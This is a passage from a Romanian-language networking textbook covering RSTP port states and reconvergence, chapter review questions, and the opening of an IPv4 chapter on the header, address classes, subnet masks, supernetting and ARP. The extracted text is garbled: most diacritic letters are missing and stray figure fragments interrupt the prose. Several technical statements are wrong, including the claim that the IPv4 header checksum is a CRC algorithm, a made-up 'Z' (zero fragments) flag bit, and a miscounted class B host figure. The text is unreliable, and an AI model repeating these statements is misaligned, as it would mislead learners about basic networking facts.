Blocking Discarding Nu Listening Discarding Nu Learning Learning Da Forwarding Forwarding Da 2-28 Echivalena ntre strile STP i strile RSTP De asemenea, au fost create trei tipuri de legturi posibile cu un alt echipament: Edge port, point-to-point i shared. Edge port sunt porturile pe care nu se primesc BPDU-uri i care sunt trecute direct n forwarding. Dac ulterior se primesc pachete de STP sau RSTP, acestea vor fi luate n considerare la recalcularea algoritmului. Point-to-Point reprezint legtura ntre dou swithuri care

R e e l e E t h e r n e t | 83 ruleaz RSTP peste o interfa full-duplex. Shared este legtura ntre dou switch-uri care ruleaz RSTP peste o interfa half-duplex, sau ntre un switch care ruleaz STP i unul care ruleaz RSTP. O alt simplificare adus algoritmului iniial const n reducerea numrului de tranziii necesare pn cnd se poate transmite trafic util pe interfaa respectiv (vezi 2-28).

1 3R 9 9 SW1 7 BLK 3D 9 9 9 SW7 4 D Proposal 9 9 de la SW1 Port 7 - Designated Root Bridge: SW3

SW3

1 3R 9 9 SW1 7 BLK 3 9R 9 9 SW7 4 BLK

SW3

1 3R 9 9 SW1 7 D 3 R 9 9 9 SW7 4 BLK

SW3

Blocare Downstream 9 9 Acceptare Sw3 ca root bridge Port 3 - root port

Agreement cu SW1 9 9 SW3 este Root Port7-SW1 e designated

2-29 Procesul de sincronizare n RSTP n cazul echipamentelor Cisco se poate activa doar RSTP-PVST, meninndu-se o instan separata de RSTP pentru fiecare VLAN configurat pe switch. Setarea de RSTP se aplic pe ntregul echipament.
SW1#configure terminal SW1(config)#spanning-tree mode rapid-pvst

Algoritmul de calcul al grafului a fost modificat i se bazeaz pe un schimb de pachete (proposalagreement) care se propag succesiv pe nivelele topologiei de reea, pornind de la root bridge. Toate comenzile de modificare a parametrilor asociai cu RSTP sunt la fel ca i la STP. Pentru a vedea dac la nivelul echipamentului ruleaz RSTP se folosete comanda:
SW1#show spanning-tree vlan 1 VLAN0001 Spanning tree enabled protocol rstp Root ID Priority 24586 Address 0015.63f6.b700 Cost 19 Port 107 (FastEthernet3) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32778 (priority 32768 sys-id-ext 10) Address 000f.f794.3d00 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Aging Time 300 Interface Role Sts Cost Prio.Nbr Type ---------------- ---- --- --------- -------- -------------------------------Fa3 Root FWD 19 128.107 P2p Peer(STP) Fa7 Desg FWD 19 128.108 P2p Peer(STP)

n cazul RSTP, orice switch poate anuna modificri ale topologiei. Se poate observa c, spre deosebire de STP, algoritmul pentru 802.1w reacioneaz doar cnd apar legturi noi de tipul point-to-point sau shared. Cnd la nivelul unui switch s-a detectat un link nou se trimit BPDU-uri pe toate interfeele cu flag TC (Topology Change) setat. Un echipament care primete astfel de BPDU-uri golete tabela cu adrese MAC i retrimite BPDU-ul pe toate porturile, mai puin cel pe care a primit notificare TC. Scopul principal al RSTP-ului este convergena rapid; ca

84 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e atare, este mult mai eficient s fie golit tabela CAM la schimbri de topologie dect sa fie micorat Max_Age-ul pe anumite adrese MAC. Reversul acestui comportament const ntr-o cantitate semnificativ de trafic de broadcast n momentul unei schimbri de topologie.

SW1

7 1
Sw3

SW1

3
Sw7

3
Sw7

1
Sw3

New Link Link down

4 4
Sw2

New Link

3 3

Sw2

2-30 Reconvergena RSTP la pierderea, respectiv stabilirea unei conexiuni Toate aceste modificri la nivelul logicii de funcionare a protocolului au permis n cele din urm optimizarea timpilor folosii. n cazul RSTP toate evenimentele importante sunt raportate la Hellotime, care reprezint intervalul de timp la care sunt ateptate BPDU-uri de la vecini avnd o valoare implicit de 2s. Astfel, o legtur root va fi dezafectat daca nu sunt primite BPDU-uri timp de 3xHello_time, declanndu-se astfel algoritmul de sincronizare. n cazul unei schimbri de topologie semnalate de un vecin, se vor trimite BPDU-uri cu flag-ul TC setat timp de 2xHello_time (While_time),pentru a se asigura diseminarea informaiei ctre restul reelei. RSTP este compatibil cu STP, astfel nct, dac nu se detecteaz prezena de 802.1d pe un port, acesta va fi declarat shared i sunt folosii timpii specifici STP. Trebuie menionat c interfaarea RSTP/STP este fezabil la nivel Access, dar compromite eficiena arhitecturii la nivel Core.

R e e l e E t h e r n e t | 85

2.8 ntrebri
1. Care este rezultatul segmentrii unei reele cu un switch ? Crete numrul domeniilor de coliziune Scade numrul domeniilor de coliziune Crete numrul domeniilor de broadcast Scade numrul domeniilor de broadcast 2. Care este numrul minim de adrese MAC asociate cu un switch de nivel doi? Una Dou Attea cte porturi exist Niciuna 3. Care dintre urmtoarele afirmaii este adevrat cu privin la comutarea de nivel doi (alegei dou variante)? Un switch este un hub cu mai multe porturi Un switch este o punte cu mai multe porturi Switchurile nva adresele IP ale cadrelor i iau decizii pe baza acestora Switchurile nva adresele MAC, examinnd cmpul surs al fiecrui cadru 4. Pe baza crei informaii un switch Ethernet poate lua o decizie ? adresa IP adresa MAC destinaie adresa CAM adresa MAC surs 5. Switch-ul dumneavoastr trebuie s fie setat ca root bridge. Care dintre urmtoarele posibiliti va face acest switch s devin root bridge? Setarea adresei MAC a switchului la o valoare minim Setarea protocolului STP la o valoare minim Setarea prioritii switchului la o valoare maxim Setarea prioritii switchului la o valoare minim

86 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

2.9 Referine
[1] Jan Harrington. Ethernet Networking for the Small Office and Professional Home Office, cap. 3. Morgan Kaufmann, 2007 [2] Gilbert Held. Ethernet Networks (4th Edition). John Wiley & Sons, 2003 [3] Deon Reynders, Edwin Wright. Practical TCP/IP and Ethernet Networking, cap. 3 i 4. Newnes, 2003 [4] Charless E. Spurgeon. Ethernet, The Definitive Guide. O'Reilly, 2000 [5] William Stallings. Data and Computer Communications (8th Edition), cap. 15 i 16. Pea rson Education, 2007 [6] Andrew Tanenbaum, David Wetherall. Computer Networks (5th Edition), cap. 4. Prentice Hall, 2010

P a g e | 87

3 Protocolul IPv4
Ce se nva n acest capitol? Cine este Bob Kahn (Robert Elliot Kahn) este un un inginer n tiina calculatoarelor, deintor al Premiului Turing. A lucrat la MIT, Bell Labs i, cel mai important la DARPA, agenia Guvernului American, unde a dezvoltat stiva TCP/IP mpreun cu Vint Cerf. n prezent, lucreaz la o organizaie non-profit ce face cercetare de noi tehnologii informatice bazate pe reele. Internetul a devenit o noiune familiar pentru societatea din prezent. Cu toate acestea, n urm cu 20 de ani, prea puini vizionari au intuit dezvoltarea pe care acesta urma s o cunoasc. Multe dintre conceptele fundamentale ale infrastructurii IP de azi au fost definite n acea perioad, precum formatul adresei IP, protocolul ARP, VLSM. Protocolul IP trebuia s rspund schimbrii paradigmei de comunicaie de la o reea cu cteva locaii, precum reeaua DARPA, la o reea cu mii de locaii cum era privit Internetul la mijlocul anilor `80. Apariia calculatoarelor personale i extinderea reelei globale de comunicaie dincolo de centrele universitare au redefinit Internetul ca o reea cu sute de milioane de noduri. Un fapt notabil i, n acelai timp, surprinztor, este persistena de-a lungul unei perioade de civa zeci de ani a unor protocoale de comunicaie dezvoltate la nceputul anilor `80. O mare parte dintre aceste protocoale au fost concepute pentru reele de sute de mii de ori mai mici n magnitudine, complexitate i volum de trafic fa de Internetul din ziua de astzi, dar deservesc n continuare cu succes comunicaiile de date din prezent. Versiunea 4 a protocolului IP a reuit s rspund att cerinelor de ierarhizare a spaiului de adrese impus de reelele anilor `80, ct i cerinelor de scalabilitate ale Internetului actual. Pentru asigurarea scalabilitii n contextul condiiilor din prezent, au fost standardizate protocoale menite s adreseze translatarea de adrese, tunelarea pachetelor i adresarea privat, tehnologii prezentate n capitolele viitoare. Versiunea 6 a protocolului IP a fost iniial proiectat s asigure un spaiu de adrese mult mai generos, dar i un numr de servicii ce lipsesc din IPv4, precum informaiile de securitate, sau servicii ce corespund insuficient cerinelor actuale, precum marcarea fluxurilor de date n vederea facilitrii procesrii de ctre mecanismele QoS de pe parcurs. Cu toate acestea, infrastructura de comunicaie constituit nc preponderent din echipamente i aplicaii ce nu au fost concepute pentru IPv6 precum i popularitatea deosebit de care se bucur IPv4 fac ca ponderea reelelor IPv6 n structura actual a Internetului s rmn de sub 5%. Prin urmare, pe parcursul acestei cri, prin protocolul IP se va subnelege doar referirea la IPv4. n capitolul urmtor va fi realizat o prezentare detaliat a protocolului IP, versiunea 6. Specificaiile protocolului IP Noiunea de subnetare Funcionarea protocolului ARP Funcionarea protocolului DHCP Configurarea adreselor IP pe echipamente

3.1 Pachete IPv4


Orice pachet ajuns la nivelul reea este rempachetat, adugndu-i-se antetul IP. n Fig. 3-1 sunt prezentate cmpurile ce compun antetul IP, mpreun cu lungimea lor, urmnd apoi o scurt descriere a acestora.

88 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

3-1 Structura antetului IPv4 Din analiza antetului se identific nu mai puin de 10 cmpuri n afara celor ce precizeaz adresele destinaie i surs. De-a lungul timpului semnificaia acestor cmpuri a fost redefinit. Cmpul versiune stabilete versiunea IP folosit, antetul de IPv6 fiind diferit de antetul IPv4. Lungimea antetului este precizat explicit n cel de al doilea cmp n vederea flexibilizrii dezvoltrilor ulterioare ale standardului IPv4, prin setri fcute n cmpul de opiuni aflat n finalul antetului IP. Totui vasta majoritate a traficului n Internet folosete antete de lungime fix, de 20 de octei, performanele de referin ale echipamentelor de reea (precum numrul de pachete comutate pe secund) fiind calculate pentru trafic IP cu antet de lungime fix, att pentru a asigura consecvena statisticilor, ct i datorit faptului c pachetele IP ce prezint opiuni suplimentare sunt procesate n software de marea majoritate a platformelor, n timp ce pachetele de dimensiune standard sunt procesate n hardware. Cmpul TOS (Type of Service) este folosit pentru implementarea unor politici distincte pentru tipuri diferite de trafic. Cmpul are o importan semnificativ n special pentru identificarea i prioritizarea traficului de voce, dar i pentru alte tipuri de trafic ce necesit o abordare special. Cmpul de lungime total este exprimat pe 16 bii, rezultnd o dimensiune maxim a cadrelor IP de 65535 de octei. n cazul segmentelor transmise folosind protocolul TCP nu exist o dimensiune maxim, ceea ce nseamn c segmentele ce depesc 64 KB vor fi fragmentate la nivelul reea. Dei dimensiunea maxim prevzut de standard este de 64KB, impunerea Ethernetului ca tehnologie dominant pentru reelele locale are drept consecin faptul c traficul TCP, dup ce este segmentat n pachete de 64 KB la nivelul 4, va mai fi nc odat segmentat n cadre de 1500 octei la nivelul 3. Pentru a reduce complexitatea prelucrrilor asupra pachetelor, implementrile curente ale stivei TCP/IP evit s realizeze dou operaii de fragmentare, impunnd ca dimensiune maxim a cadrelor IP 1500 B i nu 64 KB. Mecanismul de secveniere a cadrelor reprezint principalul mecanism de control al fluxului n TCP; cu toate acestea, se observ c un mecanism de secveniere exist i la nivelul antetului IP. Cmpul identificator stabilete numrul datagramei i este folosit n conjuncie cu cmpul decalaj fragment pentru a reordona cadrele IP ajunse ntr-o alt ordine dect au fost transmise. Ambele cmpuri sunt n general stabilite de staia ce emite pachetul, dar dac pe calea ctre destinaie mai are loc o fragmentare a pachetului valorile lor vor fi modificate. Biii de opiune sunt folosii tot pentru a controla fragmentarea. Spre exemplu, bitul 50 din antetul IP este denumit bitul M sau bitul more fragments. Acesta indic faptul c a avut loc o fragmentare i c pachetul de fa nu este ultimul fragment. Bitul 51 este denumit Z sau bitul zero fragments i are rolul de a semnaliza c pachetul actual este ultimul (sau singurul) din pachetul iniial. De notat faptul c, odat fragmentat, un pachet IP nu va mai fi reasamblat dect la destinaie. Din moment ce fiecare fragment primete proporiul su antet IP, acest lucru poate introduce

P r o t o c o l u l I P v 4 | 89 probleme de design i poate genera transmisii ineficiente pe anumite segmente de reea. Indiferent de protocol sau de tehnologie, fragmentarea cauzeaz un consum crescut de lime de band, ca urmare a datelor suplimentare introduse de noile antete.Un cmp important din antetul IP este TTL (Time To Live), cmp ce definete numrul maxim de rutere prin care un pachet poate s treac, el fiind decrementat cu 1 la fiecare rutare. Principala sa funcie este de a evita ciclarea la infinit a uno r pachete IP n cazul unor topologii cu bucle de rutare. O utilizare mai recent a acestui cmp permite unui ISP s controleze conectarea unei staii, pentru o legtur dat. De exemplu, un ISP poate ntrerupe conectivitatea atunci cnd pe o legtur n loc de o staie se conecteaz neautorizat un ruter ce are n spate o ntreag reea local. Marea majoritate a traficului n Internet cltorete ntre surs i destinaie pstrnd aceleai valori pentru cmpurile antetului IP, singurul cmp modificat fiind cmpul TTL. Dei operaia de decrementare a valorii cmpului TTL este una simpl, ea determin o ncrcare semnificativ a ruterului, deoarece n urma modificrii acestui cmp, va trebui s fie recalculat i suma de control a antetului. Suma de control se bazeaz pe un algoritm de redundan ciclic (un algoritm CRC) ce are proprietatea c se poate verifica uor, dar se calculeaz mult mai greu (verificarea se poate efectua fr a calcula explicit valoarea sumei de control). Cmpul protocol specific ce protocol a fost folosit pentru ncapsularea de nivel transport. n figura de mai jos sunt prezentate cteva dintre valorile cele mai ntlnite ale acestui cmp. Valorile 4 i 41 sunt folosite n cazul tunelrii iar valoarea 59 este folosit pentru a indica c nu mai exist un alt antet, o astfel de conexiune fiind numit IP raw. Valoarea 1 4 6 17 41 59 Protocol ICMP IPv4 (IP-in-IP) UDP TCP IPv6 Fr antet

3.1.1 Clase de adrese


O adres IP este un ir de 32 de bii ce identific dou lucruri: o reea i o staie n cadrul acelei reele. Pentru a simplifica utilizarea adreselor IP se folosete formatul zecimal. Astfel, o adres IP dat: 10110001000001000001011000001000, se mparte mai nti n grupuri de cte 8 bii: 10110001.00000100.00010110.00001000 i apoi fiecare grup este convertit n sistem zecimal: 177.4.22.8. Dei exprimarea zecimal nlesnete semnificativ lucrul cu adrese IP, aduce i unele limitri n uurina de a discerne poriunea de reea i cea de staie din cadrul adresei IP, pentru cazurile n care sunt definite subreele. ncercarea de a pstra reprezentarea zecimal ca model de referin pentru IP i, n acelai timp, de a pune n eviden distincia dintre cele dou componente, a dus la definirea claselor de adrese IP. Odat cu definirea primelor trei clase pentru rutare a mai fost definit un spaiu de adrese folosit pentru adresarea multicast, anume clasa D. Restul adreselor vor constitui clasa E, reprezentnd adrese rezervate. n tabelul urmtor sunt prezentate cele cinci clase definite pentru spaiul de adrese IP.

90 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Clasa A B C D E

Primi bii 0... 10... 110... 1110... 11110...

Nr. bii reea 8 16 24

Nr. de reele 27 214 221

Nr. bii staie 24 16 8

Nr. staii 224-2 216-2 28-2

Domeniul de valori 1.0.0.0 127.255.255.255 128.0.0.0 191.255.255.255 192.0.0.0 223.255.255.255

Adrese multicast Rezervat

Proiectarea unei scheme de adresare pentru una sau mai multe reele, bazat pe criteriile de delimitare ntre clasele descrise mai sus, poart i denumirea de adresare classful. n acest mod de adresare, fiecare adres IP aparine unei reele ce se ncadreaz exclusiv ntr-una dintre clasele A, B sau C. n prezent, adresarea classful nu mai este utilizat datorit lipsei sale inerente de flexibilitate n dimensionarea adecvat a reelelor n funcie de numrul de staii. Clasa A a fost proiectat pentru a satisface cerinele ridicate de reelele de mari dimensiuni. Astfel, pentru definirea reelei va fi folosit doar primul octet, pentru identificarea staiei fiind disponibili 24 de bii, ceea ce ofer mai mult de 16,7 milioane de posibiliti. n figura de mai sus se poate observa c domeniul de valori pentru clasa A nu include reelele 0.0.0.0 i 127.0.0.0, acestea fiind rezervate. Clasa de adrese 0.0.0.0 nu este folosit datorit posibilelor confuzii cu rutele implicite, n vreme ce clasa 127.0.0.0 este rezervat pentru adrese de loopback, n scopul monitorizrii i testrii. Tot din tabelul anterior se observ eliminarea a cte dou adrese dintre cele ce pot fi alocate staiilor, pentru fiecare dintre clasele rutabile. Cele dou adrese sunt: adresa de reea i adresa de difuzare. O adres IP de reea este o adres pentru care toi biii de staie sunt 0. Altfel spus, ea poate fi considerat ca fiind prima adres (din punct de vedere numeric) dintr-o reea. O astfel de adres este folosit pentru identificarea ntregii reele. Aceasta este, de fapt, partea relevant a oricrei adrese de staie ce cltorete peste Internet pentru toate ruterele de pe parcurs. O adres IP de difuzare sau adres de broadcast este o adres pentru care toi biii de staie sunt 1. Un pachet destinat unei astfel de adrese va fi multiplicat i va ajunge la toate staiile din acea reea, dar nu va prsi perimetrul acelei reele. O clas de adrese B este definit de valorile primilor doi bii din adresa IP, aceti primi doi bii fiind 10. Din aceast constrngere rezult c toate adresele IP ale cror prim octet se afl ntre 10000000 i 10111111, adic ntre 128 i 191, aparin unei clase B. Cmpul de reea pentru o clas B va cuprinde primii doi octei, dar deoarece primii doi bii ai primului octet sunt fixai, rmn doar 14 bii disponibili pentru a crea clase B. Pentru definirea staiilor sunt folosii ultimii doi octei, adic 16 bii. Astfel pot fi obinute 16.384 reele, fiecare avnd un numr maxim de 65.533 de staii. Clasa C se definete prin alocarea primilor 3 octei pentru definirea reelei i doar a ultimilor 8 bii pentru identificarea staiilor din aceeai reea. Primii trei bii din primul octet trebuie s fie 110, adic valoarea acestui prim octet trebuie s se afle ntre 192 i 223 pentru ca o adres s aparin unei clase C. Numrul reelelor de clas C depete 2 milioane, fiecare dintre acestea putnd s cuprind 254 de staii. Clasa de adrese D este folosit pentru reele multicast i include adrese de grupuri multicast. Comunicaia multicast este, prin definiie, unidirecional, traficul fiind transportat de la o surs la una sau mai multe staii destinaie. Un grup multicast este definit printr-o adres din clasa D mpreun cu mulimea staiilor destinaie ce solicit traficul acelui grup. Spre deosebire de celelalte clase IP, adresele din clasa D nu pot fi utilizate niciodat in antetul IP n cmpul de adres surs, ci doar n cel destinaie, fapt ce explic i caracterul unidirecional. O alt consecin a caracterului

P r o t o c o l u l I P v 4 | 91 unidirecional al comunicaiilor multicast este faptul c, la nivel transport, ncapsularea este limitat la protocolul UDP (lipsa sesiunilor i a mesajelor de confirmare acknowledgements).

3-2 Adresarea IP n decursul ultimilor 15 ani au existat numeroase standarde i propuneri de standardizare pentru asigurarea unei infrastructuri de multicast, dar realitatea din prezent este c traficul de multicast reprezint doar o foarte mic poriune din traficul transferat n Internet. Cu toate acestea, convergena reelelor de date cu cele de telefonie sau de televiziune ofer o not de optimism n legtur cu viitorul comunicaiilor multicast. n Romania abia n anul 2006 a devenit disponibil comercial serviciul de trasmisiuni de multicast, un singur ISP oferind n acest moment acces la un MBone naional. Pentru adresa multicast spaiul de adrese este plat, toi cei 4 octei fiind folosii pentru definirea adresei de staie. Deoarece primii 4 bii ai primului octet sunt fixai, i anume 1110, numrul adreselor de multicast este de 268 milioane. Cu toate acestea au fost definite mai multe regiuni disjuncte, regiuni menite s serveasc obiective diferite. Primele 256 de adrese (cele cuprinse ntre 224.0.0.0 i 224.0.0.255) sunt definite ca aparinnd zonei Local Network Control Block, aceastea fiind adresele folosite i de protocoalele de rutare: spre exemplu OSPF rezerv dou dintre aceste adrese de multicast: 224.0.0.5 i 224.0.0.6 pentru procesul de alegere a ruterului desemnat, iar RIPv2 folosete adresa 224.0.0.9 pentru trimiterea actualizrilor. Acestea mai poart i denumirea de adrese link-local deoarece pachetele sunt intotdeauna transmise cu TTL 1, deci nu pot fi rutate mai departe de segmentul de reea direct conectat. Clasa de adrese E este rezervat i nu poate fi folosit n reelele publice sau n soluii de multicast.

3.1.2 Masca de reea


Prin folosirea celor 3 clase rutate eficiena utilizrii spaiului de adrese IPv4 este una extrem de redus. Spre exemplu, pentru o reea cu 4 noduri va fi alocat o clas C, pierzndu-se asftfel 250 de adrese. n cazul unei reele de 300 de noduri alocarea unei clase B duce la pierderea a mai mult de 65.000 de adrese, i chiar prin reproiectarea reelei i separarea sa n dou reele, se vor folosi dou clase C, cea ce va duce la pierderea a peste 200 de adrese. Protocolul IP impune ca orice adres s conin dou informaii: o adres de reea i adresa unei staii din cadrul acelei reele. Separarea celor dou cmpuri nu trebuie s apar la grania de octet. Pentru determinarea biilor ce definesc adresa de reea se folosete un ir de 32 de bii denumit masc de reea. Masca de reea este un ir de 32 de bii care, n conjuncie logic cu o adres IP, separ adresa de reea, anulnd biii de staie. Fiecare bit din masca de reea ce corespunde (adic se afl pe aceeai poziie) cu un bit din cmpul de reea are valoare 1, n vreme ce toi biii corespunztori cmpului de staie au valoarea zero. Exprimarea mtii de reea poate fi realizat n forma zecimal sau sub forma unui prefix de reea. n cazul exprimrii zecimale cei 32 de bii sunt separai n grupuri de 8, apoi realizndu-se conversia n zecimal. Procesul este unul similar cu exprimarea zecimal a adresei IP.

92 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e O alt reprezentare a mtilor de reea este sub forma unui numr care indic numrul de bii de 1 consecutivi din masca de reea. Acest tip de reprezentare poart numele de prefix de reea. Pentru exemplificare, fie adresa IP: 141.85.37.133 i masca: 255.255.240.0. Masca de reea este echivalent cu prefixul /20. Pentru aceast exemplu cmpul de reea va cuprinde primii 20 de bii, iar cmpul de staie ultimii 12. Adresa reelei se obine prin operaia de I logic ntre masc i adresa IP: 141.85.32.0/20. Adresa de difuzare se obine prin completarea tuturor biilor din cmpul de staie cu valori de 1. Adresa de difuzare va fi: 141.85.47.255/20. Pentru aceeai adres, dar folosind prefixul /26 adresa de reea ar fi: 141.85.37.128/26, iar adresa de difuzare: 141.85.37.191/26.

3-3 Adresa de reea i de difuzare Este important de observat c aceai adres poate fi adres de staie, adres de reea sau adres de difuzare n funcie de masca de reea aleas. n contextul adresrii classful se identific doar 3 mti de reea posibile: - Clasa A, cu masca 255.0.0.0 sau /8; - Clasa B, cu masca 255.255.0.0 sau /16; - Clasa C, cu masca 255.255.255.0 sau /24. Aceast limitare a creat necesitatea introduceri conceptului de subreea precum i a altor dou tehnici folosite n adresarea IP: - posibilitatea definirii mtilor de reea de orice lungime, de la /0 la /32; - posibilitatea utilizrii de mti de reea de lungime variabil n cadrul aceleiai reele, tehnic denumit i VLSM (Variable Length Subnet Mask).

Subreele
Totalitatea nodurilor ce pot comunica ntre ele folosind dispozitive de nivel fizic i legtur de date (de exemplu: repetoare i switchuri) definesc o reea local. Altfel spus, o reea local va cuprinde totalitatea echipamentelor de reea ce pot comunica fr intermedierea unui router. O reea local coincide cu un domeniu de difuzare. Astfel, toate staiile din aceai reea local vor primi pachetele de broadcast. Din motive de securitate, dar i pentru optimizarea consumului de band n cadrul unei reele locale, un administrator poate decide separarea unor seciuni din reea n subreele diferite. Pentru asigurarea adresrii va trebui s mpart spaiul iniial de adrese n mai multe seciuni disjuncte. ATENIE: Distincia ntre reele i subreele este una pur istoric. Reele erau denumite doar spaiile de adrese ce corespundeau claselor A, B i C. n prezent noiunile sunt folosite interschimbabil. Pentru a mpri spaiul de adrese 144.1.40.0/21 n dou jumti se porne te de la reprezentarea binar a spaiului iniial, apoi sunt delimitate cmpurile de reea i staie. Din cmpul de staie vor fi marcai un numr de bii pentru definirea de subreele. Acesti bii vor defini un nou cmp numit cmp de subreea.

P r o t o c o l u l I P v 4 | 93

3-4 mprire n 2 subreele Pentru a mpri spaiul 144.1.48.0/22 n 5 subreele, se caut cea mai apropiat putere a lui 2 egal sau mai mare cu numrul de subreele cutat. Astfel, pentru a obine 5 subreele va trebui s mprim spaiul de adrese n 8 seciuni egale. Prefixul de reea pentru fiecare dintre cele 8 subreele va fi /25, adic prefixul spaiului iniial la care se adaug numrul de bii necesar pentru a reprezenta cele 8 valori diferite.

3-5 mprire n 8 subreele O dezbatere nc ntlnit n recomandrile legate de alocarea adreselor IP este cea referitoare la folosirea primei i ultimei subreele. n lipsa precizrii mtii de reea, adresa primei subreele poate fi confundat cu adresa spaiului iniial. n mod similar adresa de difuzare a ultimei subreele poate fi confundat cu adresa de difuzare a spaiului iniial. Pentru exemplu de mai sus 144.1.48.0 poate fi ori adresa de reea iniial, dac prefixul este /22, ori prima subreea, dac prefixul este /25. Adresa 144.1.51.255 este adresa de difuzare pentru ntreg spaiul iniial pentru prefixul /22, sau adresa de difuzare a ultimei subreele pentru /25. Din pcate, evitarea folosirii primei i a ultimei subreele duce la o pierdere nsemnat de adrese. Astfel, soluia cea mai rspndit n reelele actuale este de a folosi prima i ultima subreea, dar cu precizarea prefixului (sau a mtii de reea) pentru orice adres IP.

Super-reele
Dimensiunea tabelei de rutare afecteaz att latena procesului de gsire a cii optime, ct i resursele hardware necesare pentru ruter (memorie, procesor). Pentru reducerea numrului de rute se poate folosi procesul de agregare a spaiilor de adrese. Agregarea de adrese este procesul invers mpririi n subreele. n exemplul de mai jos sunt prezentate 4 spaii de adrese alese special ca s difere doar prin cei mai puin semnificativi doi bii ai cmpului de reea.

3-6 Agregarea a 4 clase C Cele 4 clase din tabel sunt n fapt sferturile unui singur spaiu de adrese. Adresa agregat, sau super-reeaua ce cuprinde cele 4 clase, se obine n acest caz reducnd masca de reea cu doi bii. Aceti doi bii vor fi fcui zero, trecnd n cmpul de staie, pentru a determina adresa de reea agregat.

94 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Este important de precizat c dei 190.20.4.0/22 este un spaiu valid de adrese, nu poate fi folosit pentru alocarea de adrese ntr-o singur reea. n alocarea adreselor nu se pot folosi superreele ale celor 3 clase rutate. Astfel, 140.20.4.0/22 este o subreea din reeaua de clas B 140.20.0.0/16 i poate fi folosit pentru alocarea ntr-o singur reea, dar 190.20.4.0/22 este o superreea ce cuprinde 4 clase C, iar adrese din acest spaiu pot fi alocate numai dup o mprire n subreele. Prefixul unei adrese IP valide nu poate fi mai mic dect prefixul clasei din care face parte respectiva adres. Nu orice dou reele pot fi agregate ntr-o super-reea. Astfel, pentru a putea profita de aceast facilitate adus de VLSM, alocarea adreselor trebuie fcut judicios nu doar n interiorul reelei de ctre administratorul de reea, ci i la nivelul ISP-urilor i chiar la nivel de ar. Din pcate, n Romnia avantajele reducerii tabelelor de rutare prin agregarea reelelor, ca o consecin a alocrii planificate a adreselor de reea, au fost constientizate extrem de trziu, astfel nct n tabelele de rutare ale marilor ISP-uri din Romnia mai frecvent se ntlnesc prefixe de /26 dect prefixe /20, cum ar fi fost de ateptat la o ar de dimensiunile Romniei.

3.2 Protocolul ARP


n prezent protocolul de rezoluie a adresei ARP este vzut adesea ca o component esenial a arhitecturii TCP/IP, dar lucrurile nu au stat dintotdeauna aa. nceputul anilor 80 a reprezentat o perioad marcat de incertitudini n ceea ce privete standardizarea protocoalelor pentru reelele de calculatoare. Dac la nivelul reelelor locale IEEE a reuit s reduc alegerea la trei standarde: Ethernet, Token Ring i Token Bus, comunicaia ntre aceste reele trebuia asigurat ori de IP ori de CLNS (Connectionless Network Service). Nici anii ce au urmat nu au impus protocolul IP ca principalul ctigtor la nivelul reea de la nceputul anilor '90, competiia desfurndu-se ntre IP i IPX sau Apple Talk. Pentru legturile logice punct-la-punct nu exist nicio diferen ntre comunicaia unicast i broadcast. Din acest motiv, pentru legturile punct-la-punct nu este necesar un mecanism pentru determinarea adresei de nivel 2, folosindu-se doar adresa de difuzare sau un echivalent al acesteia, n funcie de protocolul implementat. Ethernetul este ns un mediu multiacces, putnd exista mai multe destinaii n cadrul aceleai reele locale. ARP a fost standardizat de IETF n 1982 prin RFC 826 i reprezint mecanismul pentru asigurarea comunicaiei unicast ntr-o infrastructur multiacces. Astfel, ARP i-a propus s ofere modalitatea de asociere a unei perechi <adres de reea, protocol de reea> cu o adres unic de nivel legtur de date. Dei standardul prevede posibilitatea funcionrii ARP n conjuncie cu o varietate de protocoale de nivel reea, n practic acesta a devenit o component integrant a stivei de protocoale TCP/IP/Ethernet. Prin urmare, principala aplicabilitate a protocolului ARP a fost i rmne determinarea corespondenelor ntre adresele IP i adresele MAC. ARP se bazeaz pe construirea i meninerea unei tabele ARP. O tabel ARP are rolul de a pstra corespondenele nvate ntre adresele IP i cele MAC. Acestea sunt construite dinamic i sunt stocate n memoria RAM. Dei exist mecanisme pentru adugarea static sau eliminarea unei intrri ntr-o tabel ARP, sunt rare situaiile n care un administrator de reea va apela la ele, aceste operaiuni aparinnd de domeniul mecanismelor de securitate i fiind, de regul, automatizate n cadrul echipamentelor de securitate. Fiecare computer sau dispozitiv de reea i pstreaz propria sa tabel ARP, n realitate existnd cte o tabel ARP pentru fiecare interfa activ. Astfel, un ruter cu trei interfee Ethernet va menine trei tabele ARP distincte. Necesitatea asocierii unei adrese MAC obinute n urma unui rspuns la o cerere ARP provine din modul non-ierarhic (plat) de adresare la nivelul legtur de date. Cu alte cuvinte, un router nu poate extrage dintr-o adres MAC informaii cu privire la interfaa prin care adresa poate fi accesat, fiind necesar meninerea unei asocieri interne. Cum funcioneaz ARP? Cum este construit tabela ARP?

P r o t o c o l u l I P v 4 | 95 Pentru a realiza configuraiile de reea ale unei staii vor trebui precizai minim patru parametri: adresa IP a staiei, masca de reea, adresa ruterului implicit (default gateway) i adresa IP a serverului de DNS. Serverul de DNS este folosit pentru a obine adresa IP a destinaiei, necesar ncapsulrii de nivel reea, pornind de la numele acesteia, spre exemplu o interogare de DNS va indica faptul c www.cs.pub.ro este asociat cu adresa 141.85.37.5. Datele de la nivelul aplicaie vor fi prelucrate n conformitate cu operaiile specifice nivelurilor prezentare i sesiune (dac e cazul) dup care vor fi ncapsulate la nivelul transport, precizndu-se cel mai adesea tipul serviciului (portul surs, portul destinaie). Urmeaz ncapsularea nivelului reea care va ataa antetul IP, antet ce va conine informaiile legate de adresa IP surs i adresa IP destinaie, aceasta din urm fiind n general obinut n urma unei rezoluii de DNS sau prin intermediul unui cache local. Pentru construirea antetului de nivel legtur de date va trebui determinat adresa MAC destinaie. Adresele de nivel legtur de date au relevan local, nu i relevan global precum adresele de nivel reea. Din acest motiv adresa MAC destinaie din antetul de nivel doi va fi aceeai cu adresa MAC a destinaiei doar n cazul n care aceasta se afl n aceeai reea local. Altminteri, din punctul de vedere al reelei locale, adresa MAC destinaie va fi adresa primului router ctre destinaie, deoarece orice router va mrgini reeaua local. Astfel, nainte de a cuta n tabela ARP, va trebui determinat 